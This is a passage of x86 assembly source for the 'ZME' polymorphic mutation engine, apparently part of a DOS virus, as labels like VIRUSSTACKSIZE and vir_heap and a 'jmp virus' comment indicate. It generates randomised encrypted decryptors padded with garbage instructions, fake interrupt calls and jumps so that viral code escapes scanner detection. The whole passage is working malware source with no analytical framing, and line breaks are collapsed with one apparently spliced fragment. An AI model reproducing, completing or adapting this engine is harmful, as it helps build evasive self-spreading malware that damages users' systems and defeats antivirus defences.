encode_mov mov [engdata.start_reg2], di stosw call garble_more mov cl, [engdata.reg3] ;encode MOV TMP2, some call encode_mov mov [engdata.start_reg3], di stosw call garble_more mov [engdata.loop_top], di ;loop peak call garble_more mov ax, [engdata.value_X] call encode_add call garble_more mov cl, 4 ; 87 or 8B call encode_reg_mem mov ax, [engdata.value_X] neg ax push ax ;-(X+1) mov bx, [engdata.reloff_1] call encode_mem_access mov cl, [engdata.cur_cryptlevel] and cx, 7Fh ;mask ? DO push cx mov [engdata.useregs], REG_ENC_ALL ;SET USED 1..3 call encode_one_crypt mov [engdata.useregs], REG_GARBL_ALL ;SET USED 4..6 pop cx cmp cl, 5 DOIF E call garble_more mov ax, [engdata.value_Y] call encode_add DONE CYCLE LU mov [engdata.useregs], REG_GARBL_ALL ;SET USED 4..6 mov cl, 2 ; 87 or 89 call encode_reg_mem pop ax ;-(X+1) sub ax, [engdata.value_Y] push ax ;-(X+Y) mov bx, [engdata.reloff_2] call encode_mem_access pop ax ;-(X+Y) sub ax, [engdata.value_J] ;-(J+X+Y) call encode_add ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; encoding GOTO loop_top ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov [engdata.useregs], REG_GARBL_ALL or MASK REG_ENC ; mov al, opJC ;encode JC ; call do_cond_jmp ;JC call many_nonbranch_garble ;Shit mov ax, [engdata.datasize] ; dec ax ; call encode_add ;ADD INDEX,value_J call finish_cJMP mov al, opJZ ;encode JZ ;JZ call do_cond_jmp ; call many_nonbranch_garble ;Shit ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;ÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ENCODE JMP NEAR Loop_Top ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;ÄÄÄÄÄÄÄÄÄÄÄÄÄ call encode_jmp_near mov ax, [engdata.loop_top] xor bx, bx xchg bx, [engdata.nJMP_patch] add [bx], ax ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;ÄÄÄÄÄÄÄÄÄÄÄÄÄ mov [engdata.useregs], REG_ALL ;;SET USED 0..6 call finish_cJMP call garble_more ; ;ÄÂÂÂÄÂÂÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;ÄÅÁÅÂÁÅÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ;ÄÁÄÁÁÄÁÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ;--------------------------------------------------------------------------- ;sto_two_byte 0cdh, 2Bh test [engdata.zmeflags], MASK EN_SAVE_REGS DOIF NZ IFDEF USE_PUSHA sto_byte opPOPA ELSE mov cx, 7 lea si, [vir_heap._engdata.reg6] DO std lodsb add al, opPOP_AX cld stosb CYCLE LU ENDIF DONE test [engdata.zmeflags], MASK EN_USE_JMPS DOIF Z sto_byte opRETN DONE call encode_jmp_near mov ax, [engdata.targetptr] add ax, [engdata.jmp_after_decrypt] mov bx, [engdata.nJMP_patch] add [bx], ax ;crypt data ;ÄÅÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÅÄ ;ÄÅÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÅÄ ;ÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ---------- push di mov di, [engdata.targetptr] mov si, [engdata.datasize] dec si xor bx, bx call RND_GET xchg ax, cx call RND_GET xchg ax, dx DO add bx, [engdata.value_J] sub bx, si DOIF C add bx, si DONE mov ax, [di][bx] call dataencriptor ;call encryptor mov [di][bx], ax and bx, bx CYCLE NZ mov si, [engdata.start_reg2] mov word ptr [si], cx mov si, [engdata.start_reg3] mov word ptr [si], dx pop di ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov cx, di sub cx, [engdata.targetptr] pop ax pop bx ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÄÂÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄ ;ÄÅÄÄÄÄÄÄÂÄÁÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄ ; ÀÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÁ ÄÁÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ pblabel encode_reloc_patch ;add cs:[r0.(offset addbuf1-relocator_base)], r0 call garble_more sto_two_byte opSEGCS, 01 mov al, [engdata.reg0] mov cl, 9 mul cl or al, 10000100b cmp al, (R_BX*9) or 10000100b DOIF NE xor al, 00000010b DONE stosb mov ax, [engdata.relocator_base] neg ax ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ pblabel encode_mem_access push ax add ax, VIRUSSTACKSIZE ;[engdata.sourceptr] and bx, bx DOIF NZ add [bx], di sub ax, [engdata.relocator_base] add ax, [engdata.targetptr] sub ax, VIRUSSTACKSIZE ;[engdata.sourceptr] DONE stosw pop ax jmp garble_more ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄ pblabel encode_zero_reg ;cl-register result - 2 byte stored call RND_GET_BYTE and al, 8 add al, 2Bh stosb ;store SUB | XOR R,R : 29, 2Bh, 31, 33 mov al, 9 ;cl-register mul cl or al, MASK M0D stosb ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel shit call RND_GET_THREE_BITS shr al,1 inc ax ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel shit_AX xchg cx,ax DO ;1 to 4 times call RND_GET_BYTE stosb ;add any shit after crypt data CYCLE LU ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel choose_fake_mov ;al=C0(add), C8(or), D0(adc), F0(xor) call RND_GET_BYTE MASKA al, 110xx000 ;al=C0(add), C8(or), D0(adc) cmp al, 0D3h ;no al=D8(sbb) DOIF A sub al, 0D8h-0F0h ;al := F0(xor) DONE ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel choose_wr_and_encode_mov call choose_word_register ; register for call offset xchg cx, ax ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel encode_mov ;cl-register; result - 1..4 byte stored call RND_GET_BYTE DOIF C call encode_zero_reg ;reg:=0, CF:=0, possible use 'ADC' STO_BYTE 81h ;store ADD | OR | XOR R,value ;future: ;lea reg,[reg+] ? ; mov protect_reg, al call choose_fake_mov cmp cl, R_AX DOIF E ; transcoding: ; C0 -> 5 ; C8 -> D ; D0 -> 15 ; F0 -> 35 sub al, 0C0h-5 dec di DONE DOELSE mov al, 0B8h ;MOV R,value db B8; DONE or al, cl stosb ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; ******** ; zero reg ; add/adc/or/xor reg,mem pblabel encode_reg_mem call garble_more call RND_GET_BYTE PASS C cmp cl, 4 ;cl=4- 87 or 8B mov r,[] DOIF E mov cl, [engdata.reg1] call encode_zero_reg call garble_more call choose_fake_mov cmp al, 0D0h ;adc DOIF E call choose_word_register call encode_zero_reg mov al, 0D0h DONE add al, (80h+80h)+3-0C0h-87h ;3, b, 13, 33 mov cx, ax DONE and al, cl ;cl=2- 87 or 89 mov [],r add al, 87h ;cl=4- 87 or 8B mov r,[] mov ah, [engdata.reg1] shl ah, REG or ah, [engdata.reg0] or ah, 10000100b cmp [engdata.reg0], R_BX DOIF NE and ah, 11111101b DONE mov byte ptr [di], opSEGCS inc di stosw ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_add ;al-value, add reg0, value push ax mov al,[engdata.reg0] add al,0C0h mov ah,al mov al,81h stosw pop ax stosw ret ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÑÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ ; ³ ZME ³ ENCODE ONE CRYPT OPERATION ³ ;ÍÏÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ pblabel encode_one_crypt DO call RND_GET_BYTE and al, 00001110b cmp al, [engdata.lastgarble] CYCLE E pblabel force_choice_crypt_operation mov [engdata.lastgarble], al xchg ax, bx mov cx, word ptr encrypt_opcode_table[bx] neg bl add bl, sizeof_encrypt_opcode_table-2 mov dx, word ptr encrypt_opcode_table[bx] and cl, not 1 ;clear size data flag and dl, not 1 ;clear size data flag call RND_GET_BYTE and al, ch ; patch it into the top and al, 3 ; this line unnecessary or cl, al ; byte for variable opcodes or dl, al ; byte for variable opcodes and dh, not MASK R_M and ch, not MASK R_M DOIF Z call choose_register mov ah, [engdata.lastchoose] ;lastchoose=1, 2, 3 ³ -1 ³ ax, cx, dx, dec ah ;al=lastchoose(1,2,3)+(0,4)-1= (0,1,2) or (4,5,6) shl ax, REG or ch, al or dh, ah ; IF CRYPTLEVEL GT 8 ;;;;;;;;IF YOU HAVE ANY TROUBLE - UNCOMMENT THIS; and [engdata.useregs], not MASK REG_ENC ;SET USED 2..3 ;do not reg1 in r/m field if use two register ; ENDIF test cl, 1 DOIF NZ and dh, 11011011b ;don't use BP, SI, DI DONE DONE call choose_register or ch, al or ch, MASK M0D ;no use memory or dh, [engdata.lastchoose] dec dh or dh, MASK M0D ;no use memory test cl, 1 ;use word DOIF NZ and dh, 11111011b ;don't use BP, SI, DI or dl, 1 DONE cmp al, R_AX ; mov ax, cx sto_word_ cx DOIF E ;optimize for ax/al test al, 01111110b DOIF Z and al, 1 or al, ah MASKA al, 00xxx10x dec di dec di stosb DONE DONE sub si, 4 mov word ptr [si], dx test cl, 01111110b ;al - high byte of opcode = ch DOIF Z call RND_GET stosw cmp cl, 81h ;16 bit DOIF NE dec di mov ah, opNOP DONE mov word ptr [si][2], ax DONE mov [engdata.useregs], REG_GARBL_ALL ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ test [engdata.zmeflags], MASK EN_INT_GARBL jz garble_more ;0 mov ax, 1 jmp garble_more_AX ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel garble_more_reg_all mov [engdata.useregs], REG_ALL ;SET USED all registers ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel garble_more call RND_GET_THREE_BITS and al, not 4 ;1 pblabel garble_more_AX push si cx xchg cx, ax inc cx ;garble count = 4..7 DO push cx ; save garble count call garble_once ; garble ***MACRO*** pop cx ; restore garble count CYCLE LU call finish_cJMP ; if so, finish it call many_nonbranch_garble ; garble garble mov bx, [engdata.nJMP_patch] ; check if pending nJMP and bx, bx DOIF NZ STO_BYTE opRETN ; encode a RETN call shit ; after RETN - any shit ! add [bx], di mov bx, [engdata.end_of_jmp] mov [engdata.begin_sub], bx mov word ptr [engdata.nJMP_patch], 0 call many_nonbranch_garble ; garble DONE pop cx si retn ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel many_nonbranch_garble call RND_GET_THREE_BITS ; do large instruction shr ax, 1 inc ax xchg cx, ax DO call not_branch_garble_with_save_cx CYCLE LU retn ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel finish_cJMP ; DO mov ax, di ; get current location mov bx, [engdata.cJMP_patch] ; get previous location and bx, bx ; in not open cJmp JZ @@retn ; cJMP_patch == 0? i.e. is sub ax, bx ; there an unfinished cJMP? dec ax ; calculate offset EXIT NZ call not_branch_garble ; fill in some instructions CYCLE cmp al, 7Fh ; are we close enough? DOIF A ; if so, finish this now mov al, 0 ; if not, encode cJMP $+2 DONE mov [bx], al ; patch the cJMP destination mov word ptr [engdata.cJMP_patch], 0 ; clear usage flag @@retn: retn ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel do_one_byte call choose_register cmp al, R_AX lea bx, onebyte_table DOIF E ; if possible use AX as garbage lea bx, onebyte_table_ax DONE call RND_GET_THREE_BITS xlat cmp al, 40h GOIN E cmp al, 48h ; DEC or INC ?? DOIF E ; all other onebyte command have opcode great 48h xchg cx, ax call choose_word_register add al, cl DONE stosb retn ;endp ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;ÍÄ encode Ä branch Ä garbles ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel garble_once call RND_GET jp encode_CALL jb encode_int21 jz encode_cond_jmp jo not_branch_garble js do_one_byte ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ test [engdata.zmeflags], MASK EN_USE_CALL jz garble_once cmp word ptr [engdata.cJMP_patch], 0 ; is there an unfinished jnz finish_cJMP ;Ä encode jmp near ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel encode_jmp_near cmp word ptr [engdata.nJMP_patch], 0 ; is there an unfinished jnz encode_cond_jmp test [engdata.zmeflags], MASK EN_RELOCATOR ; jnz encode_jmp_nearE9 ;< jmp looptop & jmp virus (E9) if relocator GOIN NZ call RND_GET_BYTE DOIF NZ sto_byte opJMPN mov [engdata.nJMP_patch], di ; save location to patch xor ax, ax call sto_min_di_2 DOELSE ; encode JMP register call choose_wr_and_encode_mov mov [engdata.nJMP_patch], di ; save location to patch xor ax, ax call setup_reg or ah, cl ;ax= 0E0FFh stosw DONE call shit ; after jmp - any shit ! <<<<<-1) ;46, db 5ch pblabel setdx ;db 5c,5c,5c db 3Dh, 41h,4eh,3Ah ;4Bh, -sux ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ;Ä encode int 21 ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_int21 mov protect_reg, R_AX test [engdata.zmeflags], MASK EN_USE_INT jz unprotect_reg1 cmp [engdata.useregs], REG_ALL jne unprotect_reg1 call RND_GET_BYTE ; jz encode_int DOIF Z ;ÄENCODE INTERRUPTÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pblabel encode_int call RND_GET_THREE_BITS test [engdata.zmeflags], MASK EN_RELOCATOR DOIF Z ;only without relocator call RND_GET_THREE_BITS ; jz encode_cpm DOIF Z ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ pblabel encode_cpm call encode_push_addr push bx call many_nonbranch_garble STO_BYTE opPUSH_CS ; encode PUSH CS call many_nonbranch_garble call RND_GET_THREE_BITS ;push sux call push_any_sux ;al-register for push call many_nonbranch_garble mov cl,R_CX ;mov cx,cpmfunc call encode_mov call RND_GET_THREE_BITS add ax, offset cpm xchg si, ax movsb call RND_GET stosb call RND_GET_THREE_BITS mov cx, ax mov al, 0Ch sub al, cl shl al, 4 xchg dx, ax call encode_far_jmp pop bx add [bx], di pblabel unprotect_reg1 jmp unprotect_reg ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ DONE DONE ;Ä encode int 8, 1C, 16, 17, 11, 12, 2B, 28 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ cmp al, 5 DOIF A ;need setup push ax sto_byte opMOV_AHimm test ax, di ;pseudo-random sbb ax, ax ;-1 | 0 inc ax ; inc ax ; stosb ; 1 | 2 pop ax DONE add ax, offset int_any_reg push ax call many_nonbranch_garble pop si sto_byte opINT movsb pblabel unprotect_reg mov protect_reg, -1 ret ;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ DONE call RND_GET_BYTE DOIF Z call choose_function sto_two_byte opINT, 21h DOELSE call RND_GET_BYTE mov al,6 DOIF Z sub al,6-1Eh DONE stosb ;push ds(es) push ax call many_nonbranch_garble call choose_word_register xchg cx, ax call encode_mov call RND_GET_THREE_BITS stosw shl ax, 4 mov [engdata.segm_IDT], 84h sub [engdata.segm_IDT], al ;- enc mov ds(es), reg sto_byte 8Eh pop ax push ax ;ax=6 | 1E MASKA al, 110xx000 add al, cl stosb call choose_function ;clear C before pushf sto_byte opPUSHF ;pushf ; call many_nonbranch_garble test [engdata.zmeflags], MASK EN_RELOCATOR GOIN NZ ;force use call call RND_GET DOIF Z ;use call pop ax push ax ;ax=6 | 1E cmp al,6 DOIF E sto_byte opSEGES ;seges DONE ;ZF=1 -> 26, ZF=0 -> EB(maybe) sto_two_byte 0ffh, 1Eh mov al, [engdata.segm_IDT] xor ah, ah stosw DOELSE ;use jmp sto_byte opPUSH_CS ;push cs call encode_push_addr pop ax push ax ;ax=6 | 1E cmp al, 6 DOIF E sto_byte opSEGES ;seges DONE push bx sto_two_byte 0ffh, 2Eh mov al, [engdata.segm_IDT] xor ah, ah stosw call shit pop bx add [bx],di DONE pop ax inc ax stosb DONE ;ÄÄ encode test CF after int21 